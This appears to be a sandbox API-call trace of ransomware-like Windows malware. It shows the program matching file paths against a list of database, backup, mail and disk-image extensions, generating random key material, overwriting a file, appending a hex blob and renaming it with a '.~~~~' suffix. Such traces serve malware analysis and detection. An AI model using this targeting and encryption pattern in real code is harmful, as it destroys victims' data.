	[0086.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dacpac") returned 0x0
	[0086.514] lstrlenW (lpString=".sdf") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".sdf") returned 0x0
	[0086.514] lstrlenW (lpString=".accdb") returned 6
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".accdb") returned 0x0
	[0086.514] lstrlenW (lpString=".DBX") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DBX") returned 0x0
	[0086.514] lstrlenW (lpString=".MDT") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".MDT") returned 0x0
	[0086.514] lstrlenW (lpString=".SQB") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".SQB") returned 0x0
	[0086.514] lstrlenW (lpString=".vhd") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".vhd") returned 0x0
	[0086.514] lstrlenW (lpString=".bac") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".bac") returned 0x0
	[0086.514] lstrlenW (lpString=".mdf") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".mdf") returned 0x0
	[0086.514] lstrlenW (lpString=".BAK") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".BAK") returned 0x0
	[0086.514] lstrlenW (lpString=".BAC") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".BAC") returned 0x0
	[0086.514] lstrlenW (lpString=".dbs") returned 4
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dbs") returned 0x0
	[0086.514] lstrlenW (lpString=".vhdx") returned 5
	[0086.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".vhdx") returned 0x0
	[0086.514] lstrlenW (lpString=".NDF") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".NDF") returned 0x0
	[0086.515] lstrlenW (lpString=".dat") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dat") returned 0x0
	[0086.515] lstrlenW (lpString=".DBS") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DBS") returned 0x0
	[0086.515] lstrlenW (lpString=".CKP") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".CKP") returned 0x0
	[0086.515] lstrlenW (lpString=".edb") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".edb") returned 0x0
	[0086.515] lstrlenW (lpString=".PST") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".PST") returned 0x0
	[0086.515] lstrlenW (lpString=".dbf") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dbf") returned 0x0
	[0086.515] lstrlenW (lpString=".SQL") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".SQL") returned 0x0
	[0086.515] lstrlenW (lpString=".pst") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".pst") returned 0x0
	[0086.515] lstrlenW (lpString=".dbv") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dbv") returned 0x0
	[0086.515] lstrlenW (lpString=".SDF") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".SDF") returned 0x0
	[0086.515] lstrlenW (lpString=".dtxs") returned 5
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dtxs") returned 0x0
	[0086.515] lstrlenW (lpString=".db3") returned 4
	[0086.515] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".db3") returned 0x0
	[0086.516] lstrlenW (lpString=".OST") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".OST") returned 0x0
	[0086.516] lstrlenW (lpString=".dbx") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dbx") returned 0x0
	[0086.516] lstrlenW (lpString=".DB3") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DB3") returned 0x0
	[0086.516] lstrlenW (lpString=".DAT") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DAT") returned 0x0
	[0086.516] lstrlenW (lpString=".VHDX") returned 5
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".VHDX") returned 0x0
	[0086.516] lstrlenW (lpString=".ndf") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".ndf") returned 0x0
	[0086.516] lstrlenW (lpString=".DB") returned 3
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DB") returned 0x0
	[0086.516] lstrlenW (lpString=".sql") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".sql") returned 0x0
	[0086.516] lstrlenW (lpString=".MYD") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".MYD") returned 0x0
	[0086.516] lstrlenW (lpString=".DBT") returned 4
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DBT") returned 0x0
	[0086.516] lstrlenW (lpString=".ACCDB") returned 6
	[0086.516] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".ACCDB") returned 0x0
	[0086.516] lstrlenW (lpString=".fdb") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".fdb") returned 0x0
	[0086.517] lstrlenW (lpString=".bak") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".bak") returned 0x0
	[0086.517] lstrlenW (lpString=".myd") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".myd") returned 0x0
	[0086.517] lstrlenW (lpString=".DTXS") returned 5
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".DTXS") returned 0x0
	[0086.517] lstrlenW (lpString=".ckp") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".ckp") returned 0x0
	[0086.517] lstrlenW (lpString=".dbt") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".dbt") returned 0x0
	[0086.517] lstrlenW (lpString=".db") returned 3
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".db") returned 0x0
	[0086.517] lstrlenW (lpString=".TXT") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".TXT") returned 0x0
	[0086.517] lstrlenW (lpString=".MDF") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".MDF") returned 0x0
	[0086.517] lstrlenW (lpString=".bdb") returned 4
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".bdb") returned 0x0
	[0086.517] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.517] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.517] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.519] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.519] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.519] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20650888416) returned 1
	[0086.519] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d5fbfd0, dwHighDateTime=0x1d60e1e)) 
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f94d8
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f94d8 | out: hHeap=0x300000) returned 1
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ba7a8
	[0086.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d4c0
	[0086.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0086.519] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.520] GetLastError () returned 0x0
	[0086.520] GetLastError () returned 0x0
	[0086.520] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.520] GetLastError () returned 0x0
	[0086.520] GetLastError () returned 0x0
	[0086.522] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe394, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.523] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x1c6c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x1c6c, lpOverlapped=0x0) returned 1
	[0086.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.523] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.523] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.523] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.523] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.523] CloseHandle (hObject=0x124) returned 1
	[0086.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba7a8
	[0086.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.~~~~")) returned 1
	[0086.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0086.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.524] GetLastError () returned 0x0
	[0086.525] lstrlenW (lpString=".sqb") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.525] lstrlenW (lpString=".ost") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.525] lstrlenW (lpString=".txt") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.525] lstrlenW (lpString=".mdt") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.525] lstrlenW (lpString=".BDB") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.525] lstrlenW (lpString=".eql") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.525] lstrlenW (lpString=".DBF") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.525] lstrlenW (lpString=".EQL") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.525] lstrlenW (lpString=".FDB") returned 4
	[0086.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.526] lstrlenW (lpString=".EDB") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.526] lstrlenW (lpString=".DACPAC") returned 7
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.526] lstrlenW (lpString=".VHD") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.526] lstrlenW (lpString=".DBV") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.526] lstrlenW (lpString=".dacpac") returned 7
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.526] lstrlenW (lpString=".sdf") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.526] lstrlenW (lpString=".accdb") returned 6
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.526] lstrlenW (lpString=".DBX") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.526] lstrlenW (lpString=".MDT") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.526] lstrlenW (lpString=".SQB") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.526] lstrlenW (lpString=".vhd") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.526] lstrlenW (lpString=".bac") returned 4
	[0086.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.527] lstrlenW (lpString=".mdf") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.527] lstrlenW (lpString=".BAK") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.527] lstrlenW (lpString=".BAC") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.527] lstrlenW (lpString=".dbs") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.527] lstrlenW (lpString=".vhdx") returned 5
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.527] lstrlenW (lpString=".NDF") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.527] lstrlenW (lpString=".dat") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.527] lstrlenW (lpString=".DBS") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.527] lstrlenW (lpString=".CKP") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.527] lstrlenW (lpString=".edb") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.527] lstrlenW (lpString=".PST") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.527] lstrlenW (lpString=".dbf") returned 4
	[0086.527] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.527] lstrlenW (lpString=".SQL") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.528] lstrlenW (lpString=".pst") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.528] lstrlenW (lpString=".dbv") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.528] lstrlenW (lpString=".SDF") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.528] lstrlenW (lpString=".dtxs") returned 5
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.528] lstrlenW (lpString=".db3") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.528] lstrlenW (lpString=".OST") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.528] lstrlenW (lpString=".dbx") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.528] lstrlenW (lpString=".DB3") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.528] lstrlenW (lpString=".DAT") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.528] lstrlenW (lpString=".VHDX") returned 5
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.528] lstrlenW (lpString=".ndf") returned 4
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.528] lstrlenW (lpString=".DB") returned 3
	[0086.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.528] lstrlenW (lpString=".sql") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.529] lstrlenW (lpString=".MYD") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.529] lstrlenW (lpString=".DBT") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.529] lstrlenW (lpString=".ACCDB") returned 6
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.529] lstrlenW (lpString=".fdb") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.529] lstrlenW (lpString=".bak") returned 4
	[0086.529] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.529] lstrlenW (lpString=".myd") returned 4
